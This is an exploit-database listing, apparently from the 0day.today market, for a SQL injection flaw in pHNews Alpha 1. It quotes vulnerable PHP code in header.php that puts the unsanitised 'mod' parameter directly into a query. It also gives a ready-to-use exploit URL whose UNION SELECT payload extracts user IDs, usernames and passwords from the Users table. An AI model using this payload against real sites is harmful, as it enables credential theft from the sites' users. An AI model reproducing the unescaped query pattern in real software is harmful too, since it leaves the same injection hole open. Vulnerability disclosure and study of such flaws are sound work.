[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

pHNews Alpha 1 (header.php mod) SQL Injection Vulnerability

Author
x0r
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-4865
Category
web applications
Date add
17-02-2009
Platform
unsorted
===========================================================
pHNews Alpha 1 (header.php mod) SQL Injection Vulnerability
===========================================================


#########################################################################################
[0x01] Informations:

Name           : pHNews Alpha 1
Download       : http://www.hotscripts.com/listings/jump/download/50111/
Vulnerability  : Sql Injection
Author         : x0r
Notes          : Proud to be Italian 
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/header.php 

[Code]
$mod = $_GET["mod"];
// If no mod is selected select the default (news)
if ($mod == "") { $mod = "news"; }
if ($mod != "nomod") {

// Subit the query... god soooo mmmuuuccchhh coooodeee
$query = "SELECT * FROM Modules WHERE name = '{$mod}'";
$result = mysql_query($query) or die('Query failed: ' . mysql_error());
[/code]


#########################################################################################
[0x03] Exploit:

Exploit: http://victim.org/header.php?mod=' union select
0,0,0,concat(id,char(45),UName,char(45),Paswd),0,0 from Users--
########################################################################################



#  0day.today [2024-12-26]  #